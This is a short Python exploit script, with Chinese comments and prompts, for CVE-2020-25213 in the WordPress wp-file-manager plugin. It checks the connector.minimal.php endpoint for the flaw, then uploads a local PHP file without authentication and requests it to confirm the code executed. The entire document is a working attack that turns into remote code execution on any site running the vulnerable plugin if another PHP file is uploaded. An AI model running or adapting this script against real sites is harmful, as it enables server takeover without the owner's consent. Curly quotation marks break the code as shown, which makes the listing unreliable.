# -*- coding:utf-8 -*-
import requests
import json

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                  "Chrome/91.0.4472.124 Safari/537.36 "
}

url_tail = "/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"


def Check_1(url):
    url_2 = url + url_tail
    res1 = requests.get(url=url_2, headers=headers)
    text1 = res1.text
    text2 = json.loads(text1)
    key = json.dumps(text2)  # 将text2转换为字符串
    print(text2)
    key1 = "errUnknownCmd"
    if key1 in key:
        print("疑似漏洞存在")
        Next = input("是否进一步验证： Y or N :")
        if Next == "Y":
            Check_2(url)
    else:
        print("漏洞不存在")


def Check_2(url):
    data = {
        ‘cmd‘: ‘upload‘,
        ‘target‘: ‘l1_‘,
    }
    files = {
        ‘upload[0]‘: open(‘phpinfo.php‘, ‘rb‘),
    }
    url_3 = url + url_tail
    res = requests.post(url=url_3, headers=headers, data=data, files=files, verify=False)
    if res.status_code == requests.codes.ok:
        # print("上传成功！")
        d = res.json()
        p = d.get(‘added‘, [])[0].get(‘url‘)
        Finally_url = f‘{url}{p}‘
        res2 = requests.get(url=Finally_url, headers=headers)
        key2 = "PHP Version"
        if key2 in res2.text:
            print("CVE-2020-25213漏洞存在！")
        else:
            print("漏洞不存在！")


def main():
    url_1 = input("输入测试的URL：")
    Check_1(url_1)


if __name__ == ‘__main__‘:
    main()